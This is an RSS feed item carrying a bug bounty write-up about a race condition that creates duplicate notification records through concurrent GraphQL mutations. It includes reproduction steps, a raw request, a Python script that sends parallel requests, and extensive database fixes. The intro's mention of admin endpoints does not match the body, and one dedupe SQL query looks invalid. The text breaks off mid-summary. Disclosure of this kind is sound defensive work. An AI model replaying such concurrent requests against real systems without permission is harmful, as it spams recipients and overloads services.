<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Bug Bounty writeup &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<atom:link href="https://hackersatty.com/tag/bug-bounty-writeup/feed/" rel="self" type="application/rss+xml" />
	<link>https://hackersatty.com</link>
	<description>Hack Ethicaly, Hunt Bugs</description>
	<lastBuildDate>Sun, 26 Oct 2025 06:18:03 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://hackersatty.com/wp-content/uploads/2025/06/cropped-cropped-HACKER-SATTY-scaled-1-32x32.jpg</url>
	<title>Bug Bounty writeup &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<link>https://hackersatty.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">245626826</site>	<item>
		<title>How I Abused a Race Condition to Create Duplicate Notification Records (sanitized)</title>
		<link>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/</link>
					<comments>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sun, 26 Oct 2025 06:18:03 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Bug bounty API vulnerability]]></category>
		<category><![CDATA[bug bounty for beginners]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[Hackerone Bug bounty]]></category>
		<category><![CDATA[medium bug bounty]]></category>
		<category><![CDATA[Race condition bugs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=521</guid>

					<description><![CDATA[Author: Satyam Pawale — hackersatty.comTarget (sanitized): vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)Severity: High About Me Hey! I’m Satyam Pawale, known as @hackersatty in the bug bounty and ethical &#8230; <a href="https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<p data-start="86" data-end="294"><strong data-start="86" data-end="97">Author:</strong> Satyam Pawale — hackersatty.com<br data-start="158" data-end="161" /><strong data-start="161" data-end="184">Target (sanitized):</strong> vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)<br data-start="273" data-end="276" /><strong data-start="276" data-end="289">Severity:</strong> High</p>
<hr data-start="296" data-end="299" />
<h2 data-start="1000" data-end="1017"><span id="About_Me"><strong data-start="1003" data-end="1015">About Me</strong></span></h2>
<p data-start="1019" data-end="1241">Hey! I’m <strong data-start="1028" data-end="1045">Satyam Pawale</strong>, known as <strong data-start="1056" data-end="1072">@hackersatty</strong> in the bug bounty and ethical hacking world. I started bug hunting in 2024, and ever since, I’ve been obsessed with finding vulnerabilities that most people overlook.</p>
<p data-start="1243" data-end="1440">My goal with this blog is to share <strong data-start="1278" data-end="1315">real-world bug bounty experiences</strong> so other hunters can learn the techniques, tools, and mindset required to succeed — while staying ethical and responsible.</p>
<p data-start="1442" data-end="1596">This case is about how I found <strong data-start="1473" data-end="1516">critical admin endpoint vulnerabilities</strong> that allowed direct, unauthorized access to sensitive backend pages and data.</p>
<h2 data-start="301" data-end="309">Summary</h2>
<p data-start="310" data-end="911">A race condition in the GraphQL <code data-start="342" data-end="362">CreateNotification</code> flow allows many identical notification records to be created for the same <code data-start="438" data-end="465">(email, notificationType)</code> pair by sending the same mutation concurrently. The backend performs a non-atomic existence check + insert (or lacks a uniqueness constraint), so parallel requests each succeed and create duplicate rows. Impact includes duplicate emails, queue exhaustion, corrupted metrics, and amplified downstream processing. Fix by enforcing atomic deduplication (DB unique constraint, upsert, or transactional locking) and canonicalizing inputs server-side.</p>
<hr data-start="913" data-end="916" />
<h2 data-start="918" data-end="929">Overview</h2>
<p data-start="930" data-end="1368">While testing the notifications feature on a sanitized test instance, I discovered that sending the exact same <code data-start="1041" data-end="1061">CreateNotification</code> GraphQL mutation <em data-start="1079" data-end="1100">near-simultaneously</em> results in multiple identical notification records. The web UI may include client-side deduplication for UX, but the server accepts every concurrent request and persists a row per request because there is no server-side atomic deduplication or uniqueness enforcement.</p>
<p data-start="1370" data-end="1509">All artifacts in this write-up are sanitized: domain names and identifiers use <code data-start="1449" data-end="1466">hackersatty.com</code> and no real emails or tokens are included.</p>
<hr data-start="1511" data-end="1514" />
<h2 data-start="1516" data-end="1543">Vulnerability —</h2>
<p data-start="1544" data-end="1732"><strong data-start="1544" data-end="1595">Race condition / missing server-side uniqueness</strong>: concurrent <code data-start="1608" data-end="1628">CreateNotification</code> GraphQL mutations for the same canonical <code data-start="1670" data-end="1697">(email, notificationType)</code> create duplicate database records.</p>
<hr data-start="1734" data-end="1737" />
<h2 data-start="1739" data-end="1758">Why this matters</h2>
<ul data-start="1759" data-end="2233">
<li data-start="1759" data-end="1868">
<p data-start="1761" data-end="1868"><strong data-start="1761" data-end="1781">Duplicate emails</strong> — recipients receive the same notification multiple times (spam, reputational risk).</p>
</li>
<li data-start="1869" data-end="1963">
<p data-start="1871" data-end="1963"><strong data-start="1871" data-end="1894">Queue &amp; worker load</strong> — duplicate rows trigger duplicate processing and waste resources.</p>
</li>
<li data-start="1964" data-end="2042">
<p data-start="1966" data-end="2042"><strong data-start="1966" data-end="1989">Analytics pollution</strong> — duplicate rows inflate counts and break metrics.</p>
</li>
<li data-start="2043" data-end="2146">
<p data-start="2045" data-end="2146"><strong data-start="2045" data-end="2073">Downstream amplification</strong> — exports, reporting, or workflows iterating over rows are multiplied.</p>
</li>
<li data-start="2147" data-end="2233">
<p data-start="2149" data-end="2233"><strong data-start="2149" data-end="2171">Highly automatable</strong> — a script or proxy tool can reliably create many duplicates.</p>
</li>
</ul>
<hr data-start="2235" data-end="2238" />
<h2 data-start="2240" data-end="2284">Best reproduction scenario</h2>
<p data-start="2286" data-end="2303"><strong data-start="2286" data-end="2303">Preconditions</strong></p>
<ul data-start="2304" data-end="2622">
<li data-start="2304" data-end="2339">
<p data-start="2306" data-end="2339">Valid test account on the portal.</p>
</li>
<li data-start="2340" data-end="2428">
<p data-start="2342" data-end="2428">Active session cookie or Authorization bearer token (the same session used by the UI).</p>
</li>
<li data-start="2429" data-end="2574">
<p data-start="2431" data-end="2574">Intercepting proxy or HTTP client that can replay requests concurrently (Burp Repeater, <code data-start="2519" data-end="2525">curl</code> with <code data-start="2531" data-end="2541">xargs -P</code>, Python <code data-start="2550" data-end="2559">aiohttp</code> script, etc.).</p>
</li>
<li data-start="2575" data-end="2622">
<p data-start="2577" data-end="2622">Testing done only on authorized environments.</p>
</li>
</ul>
<p data-start="2624" data-end="2633"><strong data-start="2624" data-end="2633">Steps</strong></p>
<ol data-start="2634" data-end="3662">
<li data-start="2634" data-end="2707">
<p data-start="2637" data-end="2707">Log into the portal at <code data-start="2660" data-end="2684">vendor.hackersatty.com</code> with a test account.</p>
</li>
<li data-start="2708" data-end="2786">
<p data-start="2711" data-end="2786">Dashboard → Settings → Notifications → Add notification (open the modal).</p>
</li>
<li data-start="2787" data-end="2880">
<p data-start="2790" data-end="2880">Fill notification type (example: <code data-start="2823" data-end="2840">ACCOUNT_UPDATES</code>) and a placeholder email (sanitized).</p>
</li>
<li data-start="2881" data-end="2949">
<p data-start="2884" data-end="2949">Click Save once — confirm a single entry is created (expected).</p>
</li>
<li data-start="2950" data-end="3078">
<p data-start="2953" data-end="3078">Start an intercepting proxy and perform the same Add action again to capture the GraphQL mutation for <code data-start="3055" data-end="3075">CreateNotification</code>.</p>
</li>
<li data-start="3079" data-end="3176">
<p data-start="3082" data-end="3176">Send the captured POST <code data-start="3105" data-end="3115">/graphql</code> request to the proxy&#8217;s Repeater (or save the raw request).</p>
</li>
<li data-start="3177" data-end="3250">
<p data-start="3180" data-end="3250">Clone the captured request many times (e.g., 5–20 identical copies).</p>
</li>
<li data-start="3251" data-end="3406">
<p data-start="3254" data-end="3406">Use <strong data-start="3258" data-end="3283">Send group (Parallel)</strong> in Burp Repeater (or run the copies concurrently via a script) so they hit the server within milliseconds of each other.</p>
</li>
<li data-start="3407" data-end="3487">
<p data-start="3410" data-end="3487">Observe: each response returns success (HTTP 200 + GraphQL create payload).</p>
</li>
<li data-start="3488" data-end="3662">
<p data-start="3492" data-end="3662">Refresh the Notifications UI — multiple identical notification rows appear for the same <code data-start="3580" data-end="3607">(email, notificationType)</code> equal to the number of successful concurrent requests.</p>
</li>
</ol>
<hr data-start="3664" data-end="3667" />
<h2 data-start="3669" data-end="3714">Sanitized PoC — Request (GraphQL mutation)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">POST /graphql HTTP/2<br />
Host: vendor.hackersatty.com<br />
Content-Type: application/json<br />
Apollographql-Client-Name: vendor-portal<br />
Authorization: Bearer &lt;REDACTED_TOKEN&gt;<br />
Origin: https://vendor.hackersatty.com<br />
Referer: https://vendor.hackersatty.com/dashboard/settings/notifications</p>
<p>{<br />
  <span class="hljs-string">"operationName"</span>: <span class="hljs-string">"CreateNotification"</span>,<br />
  <span class="hljs-string">"variables"</span>: {<br />
    <span class="hljs-string">"input"</span>: {<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"accountId"</span>: 12345<br />
    }<br />
  },<br />
  <span class="hljs-string">"query"</span>: <span class="hljs-string">"mutation CreateNotification(<span class="hljs-variable">$input</span></span>: CreateNotificationInput!) { createNotification(input: <span class="hljs-variable">$input</span>) { accountId notificationType email __typename } }"<br />
}<br />
</code></div>
</div>
<h2 data-start="4352" data-end="4434">Sanitized PoC — Typical Response (each concurrent request returns same success)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">HTTP/<span class="hljs-number">2</span> <span class="hljs-number">200</span> OK<br />
<span class="hljs-attribute">Content</span>-Type: application/json</p>
<p>{<br />
  "data": {<br />
    "createNotification": {<br />
      "accountId": <span class="hljs-string">"12345"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"__typename"</span>: <span class="hljs-string">"NotificationRecord"</span><br />
    }<br />
  }<br />
}<br />
</code></div>
</div>
<blockquote data-start="4693" data-end="4816">
<p data-start="4695" data-end="4816">Each parallel request returns a created payload and, after refresh, multiple identical notification rows exist in the UI.</p>
</blockquote>
<hr data-start="4818" data-end="4821" />
<h2 data-start="4823" data-end="4888">Exactly how the race condition happens (technical explanation)</h2>
<ol data-start="4889" data-end="5536">
<li data-start="4889" data-end="4983">
<p data-start="4892" data-end="4983"><strong data-start="4892" data-end="4925">Non-atomic check-then-insert:</strong> the server likely performs <code data-start="4953" data-end="4980">if not exists then insert</code>.</p>
</li>
<li data-start="4984" data-end="5194">
<p data-start="4987" data-end="5194"><strong data-start="4987" data-end="5010">Concurrency window:</strong> when multiple identical requests arrive simultaneously, each executes the existence check before any concurrent inserts commit; each sees &#8220;no existing row&#8221; and proceeds to <code data-start="5183" data-end="5191">INSERT</code>.</p>
</li>
<li data-start="5195" data-end="5336">
<p data-start="5198" data-end="5336"><strong data-start="5198" data-end="5230">No DB uniqueness constraint:</strong> the DB lacks a uniqueness constraint on <code data-start="5271" data-end="5309">(canonical_email, notification_type)</code>, so all inserts succeed.</p>
</li>
<li data-start="5337" data-end="5448">
<p data-start="5340" data-end="5448"><strong data-start="5340" data-end="5352">Outcome:</strong> the application returns &#8220;created&#8221; for each request; multiple identical records are persisted.</p>
</li>
<li data-start="5449" data-end="5536">
<p data-start="5452" data-end="5536"><strong data-start="5452" data-end="5465">Symptoms:</strong> N UI rows for N concurrent requests; duplicated processing downstream.</p>
</li>
</ol>
<p data-start="5538" data-end="5708">This is the classic race condition between check and insert under concurrency — the fix is to make creation atomic at the storage layer or to serialize the creation path.</p>
<hr data-start="5710" data-end="5713" />
<h2 data-start="5715" data-end="5755">Techniques &amp; tools used (methodology)</h2>
<ul data-start="5756" data-end="6286">
<li data-start="5756" data-end="5841">
<p data-start="5758" data-end="5841"><strong data-start="5758" data-end="5781">Intercepting proxy:</strong> Burp Suite (Proxy + Repeater) with Send group (Parallel).</p>
</li>
<li data-start="5842" data-end="5958">
<p data-start="5844" data-end="5958"><strong data-start="5844" data-end="5880">Alternative concurrency methods:</strong> <code data-start="5881" data-end="5887">curl</code> with <code data-start="5893" data-end="5903">xargs -P</code>, Python <code data-start="5912" data-end="5921">aiohttp</code> or threaded <code data-start="5934" data-end="5944">requests</code>, <code data-start="5946" data-end="5955">wrk/hey</code>.</p>
</li>
<li data-start="5959" data-end="6099">
<p data-start="5961" data-end="6099"><strong data-start="5961" data-end="5978">Verification:</strong> compare number of created rows in UI to number of concurrent requests; inspect GraphQL responses for created payloads.</p>
</li>
<li data-start="6100" data-end="6175">
<p data-start="6102" data-end="6175"><strong data-start="6102" data-end="6119">Sanitization:</strong> remove tokens, emails, and PII from stored artifacts.</p>
</li>
<li data-start="6176" data-end="6286">
<p data-start="6178" data-end="6286"><strong data-start="6178" data-end="6202">Optional automation:</strong> small async script that sends identical POSTs concurrently to reproduce in staging.</p>
</li>
<li data-start="6176" data-end="6286"><img fetchpriority="high" decoding="async" class="alignnone  wp-image-522" src="https://hackersatty.com/wp-content/uploads/2025/10/3.png" alt="Race Condition" width="265" height="290" title="How I Abused a Race Condition to Create Duplicate Notification Records (sanitized) 2" srcset="https://hackersatty.com/wp-content/uploads/2025/10/3.png 690w, https://hackersatty.com/wp-content/uploads/2025/10/3-274x300.png 274w, https://hackersatty.com/wp-content/uploads/2025/10/3-600x657.png 600w" sizes="(max-width: 265px) 100vw, 265px" /></li>
</ul>
<hr data-start="6288" data-end="6291" />
<h2 data-start="6293" data-end="6324">Concrete fixes (prioritized)</h2>
<h3 data-start="6326" data-end="6387">1) Enforce uniqueness at the database layer (recommended)</h3>
<p data-start="6388" data-end="6453">Create a unique index on canonicalized email + notification_type:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">UNIQUE</span> INDEX CONCURRENTLY idx_notifications_unique_email_type<br />
<span class="hljs-keyword">ON</span> notifications ((<span class="hljs-built_in">lower</span>(email)), notification_type);<br />
</code></div>
</div>
<p data-start="6590" data-end="6666">This guarantees the storage layer prevents duplicates under concurrent load.</p>
<h3 data-start="6668" data-end="6708">2) Use atomic upsert (<code data-start="6694" data-end="6707">ON CONFLICT</code>)</h3>
<p data-start="6709" data-end="6727">Preferred pattern:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> notifications (account_id, email, notification_type, created_at)<br />
<span class="hljs-keyword">VALUES</span> ($<span class="hljs-number">1</span>, <span class="hljs-built_in">lower</span>($<span class="hljs-number">2</span>), $<span class="hljs-number">3</span>, now())<br />
<span class="hljs-keyword">ON</span> CONFLICT ((<span class="hljs-built_in">lower</span>(email)), notification_type) DO <span class="hljs-keyword">UPDATE</span><br />
  <span class="hljs-keyword">SET</span> updated_at <span class="hljs-operator">=</span> EXCLUDED.created_at<br />
RETURNING <span class="hljs-operator">*</span>;<br />
</code></div>
</div>
<p data-start="6962" data-end="7053">Or <code data-start="6965" data-end="6989">ON CONFLICT DO NOTHING</code> followed by <code data-start="7002" data-end="7010">SELECT</code> the existing row if you need to return it.</p>
<h3 data-start="7055" data-end="7090">3) Server-side canonicalization</h3>
<p data-start="7091" data-end="7194">Always canonicalize emails server-side (trim + lowercase + unicode normalize) before checks or inserts.</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-keyword">const</span> canonicalEmail = email.<span class="hljs-title function_">trim</span>().<span class="hljs-title function_">toLowerCase</span>();<br />
</code></div>
</div>
<h3 data-start="7258" data-end="7292">4) Optional: idempotency token</h3>
<p data-start="7293" data-end="7452">If clients can provide an idempotency key, enforce it server-side to dedupe create attempts. This is most suitable for API clients rather than basic UI clicks.</p>
<h3 data-start="7454" data-end="7499">5) Transactional locking / advisory locks</h3>
<p data-start="7500" data-end="7721">If <code data-start="7503" data-end="7516">ON CONFLICT</code> is not available, use transactional serialization or an advisory lock keyed by <code data-start="7596" data-end="7646">(account_id, canonical_email, notification_type)</code> to serialize creation. This is less desirable than DB uniqueness + upsert.</p>
<hr data-start="7723" data-end="7726" />
<h2 data-start="7728" data-end="7769">Pseudocode — atomic upsert (preferred)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-pseudo">function createNotification(accountId, email, notificationType):<br />
    email = canonicalize(email)  // trim + lowercase + normalize</p>
<p>    result = db.query(<br />
      `INSERT INTO notifications (account_id, email, notification_type, created_at)<br />
       VALUES ($1, $2, $3, now())<br />
       ON CONFLICT ((lower(email)), notification_type) DO UPDATE<br />
       SET updated_at = now()<br />
       RETURNING *`,<br />
      [accountId, email, notificationType]<br />
    )</p>
<p>    return result<br />
</code></div>
</div>
<hr data-start="8241" data-end="8244" />
<h2 data-start="8246" data-end="8287">Detection &amp; monitoring recommendations</h2>
<ul data-start="8288" data-end="8664">
<li data-start="8288" data-end="8363">
<p data-start="8290" data-end="8363"><strong data-start="8290" data-end="8309">Alert on spikes</strong> in notifications creation per account or per email.</p>
</li>
<li data-start="8364" data-end="8464">
<p data-start="8366" data-end="8464"><strong data-start="8366" data-end="8405">Instrument unique-violation metrics</strong> after adding constraints to detect attempted duplicates.</p>
</li>
<li data-start="8465" data-end="8561">
<p data-start="8467" data-end="8561"><strong data-start="8467" data-end="8481">Audit logs</strong>: record create attempts, client IPs, and request ids for concurrent patterns.</p>
</li>
<li data-start="8562" data-end="8664">
<p data-start="8564" data-end="8664"><strong data-start="8564" data-end="8584">Queue monitoring</strong>: track message queue length and worker backlogs triggered by notification rows.</p>
</li>
</ul>
<hr data-start="8666" data-end="8669" />
<h2 data-start="8671" data-end="8703">Safe remediation rollout plan</h2>
<ol data-start="8704" data-end="9081">
<li data-start="8704" data-end="8824">
<p data-start="8707" data-end="8720"><strong data-start="8707" data-end="8720">Immediate</strong></p>
<ul data-start="8724" data-end="8824">
<li data-start="8724" data-end="8779">
<p data-start="8726" data-end="8779">Canonicalize emails server-side (lowercase + trim).</p>
</li>
<li data-start="8783" data-end="8824">
<p data-start="8785" data-end="8824">Add rate limits to the create endpoint.</p>
</li>
</ul>
</li>
<li data-start="8826" data-end="8996">
<p data-start="8829" data-end="8846"><strong data-start="8829" data-end="8846">High priority</strong></p>
<ul data-start="8850" data-end="8996">
<li data-start="8850" data-end="8904">
<p data-start="8852" data-end="8904">Clean existing duplicates (see dedupe plan below).</p>
</li>
<li data-start="8908" data-end="8996">
<p data-start="8910" data-end="8996">Create a unique index concurrently and change create flow to <code data-start="8971" data-end="8995">INSERT ... ON CONFLICT</code>.</p>
</li>
</ul>
</li>
<li data-start="8998" data-end="9081">
<p data-start="9001" data-end="9013"><strong data-start="9001" data-end="9013">Post-fix</strong></p>
<ul data-start="9017" data-end="9081">
<li data-start="9017" data-end="9081">
<p data-start="9019" data-end="9081">Run dedupe migration in controlled batches and add monitoring.</p>
</li>
</ul>
</li>
</ol>
<hr data-start="9083" data-end="9086" />
<h2 data-start="9088" data-end="9123">Dedupe migration (safe approach)</h2>
<ol data-start="9124" data-end="9174">
<li data-start="9124" data-end="9150">
<p data-start="9127" data-end="9150"><strong data-start="9127" data-end="9137">Backup</strong> the table.</p>
</li>
<li data-start="9151" data-end="9174">
<p data-start="9154" data-end="9174">Identify duplicates:</p>
</li>
</ol>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-built_in">lower</span>(email) <span class="hljs-keyword">AS</span> email_norm, notification_type, <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-keyword">AS</span> c<br />
<span class="hljs-keyword">FROM</span> notifications<br />
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> <span class="hljs-built_in">lower</span>(email), notification_type<br />
<span class="hljs-keyword">HAVING</span> <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>;<br />
</code></div>
</div>
<ol start="3" data-start="9337" data-end="9422">
<li data-start="9337" data-end="9422">
<p data-start="9340" data-end="9422">Keep one canonical row (e.g., earliest <code data-start="9379" data-end="9391">created_at</code>) and delete others in batches:</p>
</li>
</ol>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">WITH</span> ranked <span class="hljs-keyword">AS</span> (<br />
  <span class="hljs-keyword">SELECT</span> id, <span class="hljs-built_in">ROW_NUMBER</span>() <span class="hljs-keyword">OVER</span> (<br />
    <span class="hljs-keyword">PARTITION</span> <span class="hljs-keyword">BY</span> <span class="hljs-built_in">lower</span>(email), notification_type<br />
    <span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> created_at <span class="hljs-keyword">ASC</span><br />
  ) rn<br />
  <span class="hljs-keyword">FROM</span> notifications<br />
)<br />
<span class="hljs-keyword">DELETE</span> <span class="hljs-keyword">FROM</span> notifications<br />
<span class="hljs-keyword">WHERE</span> id <span class="hljs-keyword">IN</span> (<span class="hljs-keyword">SELECT</span> id <span class="hljs-keyword">FROM</span> ranked <span class="hljs-keyword">WHERE</span> rn <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>)<br />
LIMIT <span class="hljs-number">1000</span>; <span class="hljs-comment">-- run repeatedly until done</span><br />
</code></div>
</div>
<ol start="4" data-start="9709" data-end="9826">
<li data-start="9709" data-end="9826">
<p data-start="9712" data-end="9826">Validate referential integrity and update dependent tables if necessary. Run in small batches with an audit trail.</p>
</li>
</ol>
<hr data-start="9828" data-end="9831" />
<h2 data-start="9833" data-end="9899">Example automated reproduction script (sanitized, Python async)</h2>
<blockquote data-start="9900" data-end="9981">
<p data-start="9902" data-end="9981">For authorized testing only — do not run against production without permission.</p>
</blockquote>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-python"><span class="hljs-comment"># async_replay.py (sanitized)</span><br />
<span class="hljs-keyword">import</span> asyncio<br />
<span class="hljs-keyword">import</span> aiohttp</p>
<p>URL = <span class="hljs-string">"https://vendor.hackersatty.com/graphql"</span><br />
HEADERS = {<br />
    <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,<br />
    <span class="hljs-string">"Authorization"</span>: <span class="hljs-string">"Bearer &lt;REDACTED_TOKEN&gt;"</span><br />
}<br />
PAYLOAD = {<br />
  <span class="hljs-string">"operationName"</span>: <span class="hljs-string">"CreateNotification"</span>,<br />
  <span class="hljs-string">"variables"</span>: {<br />
    <span class="hljs-string">"input"</span>: {<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"accountId"</span>: <span class="hljs-number">12345</span><br />
    }<br />
  },<br />
  <span class="hljs-string">"query"</span>: <span class="hljs-string">"mutation CreateNotification($input: CreateNotificationInput!) { createNotification(input: $input) { accountId notificationType email } }"</span><br />
}</p>
<p><span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">send_one</span>(<span class="hljs-params">session</span>):<br />
    <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> session.post(URL, json=PAYLOAD, headers=HEADERS) <span class="hljs-keyword">as</span> resp:<br />
        text = <span class="hljs-keyword">await</span> resp.text()<br />
        <span class="hljs-keyword">return</span> resp.status, text</p>
<p><span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>(<span class="hljs-params">n</span>):<br />
    <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> aiohttp.ClientSession() <span class="hljs-keyword">as</span> session:<br />
        tasks = [send_one(session) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(n)]<br />
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> asyncio.gather(*tasks)</p>
<p><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br />
    results = asyncio.run(main(<span class="hljs-number">10</span>))<br />
    <span class="hljs-keyword">for</span> status, body <span class="hljs-keyword">in</span> results:<br />
        <span class="hljs-built_in">print</span>(status, body[:<span class="hljs-number">200</span>])<br />
</code></div>
</div>
<p data-start="11029" data-end="11136">This script sends 10 concurrent create requests; on an affected system you would see multiple created rows.</p>
<hr data-start="11138" data-end="11141" />
<h2 data-start="11143" data-end="11190">Short checklist to verify the fix in staging</h2>
<ol data-start="11191" data-end="11678">
<li data-start="11191" data-end="11261">
<p data-start="11194" data-end="11261">Add canonicalization and upsert logic + unique index in a branch.</p>
</li>
<li data-start="11262" data-end="11369">
<p data-start="11265" data-end="11369">Run the staging app and attempt the same parallel test (Burp Repeater Send group or the async script).</p>
</li>
<li data-start="11370" data-end="11488">
<p data-start="11373" data-end="11488">Confirm only one notification row exists per canonical <code data-start="11428" data-end="11455">(email, notificationType)</code> after the concurrent attempts.</p>
</li>
<li data-start="11489" data-end="11592">
<p data-start="11492" data-end="11592">Monitor logs and unique-violation metrics; expect zero unhandled constraint errors in normal flow.</p>
</li>
<li data-start="11593" data-end="11678">
<p data-start="11596" data-end="11678">Run the dedupe migration if historical duplicates exist and then create the index.</p>
</li>
</ol>
<hr data-start="11680" data-end="11683" />
<h2 data-start="11685" data-end="11719">Summary —</h2>
<ol data-start="11720" data-end="12122">
<li data-start="11720" data-end="11840">
<p data-start="11723" data-end="11840"><strong data-start="11723" data-end="11761">Enforce uniqueness at the DB layer</strong>: create a unique index on canonicalized <code data-start="11802" data-end="11837">(lower(email), notification_type)</code>.</p>
</li>
<li data-start="11841" data-end="11972">
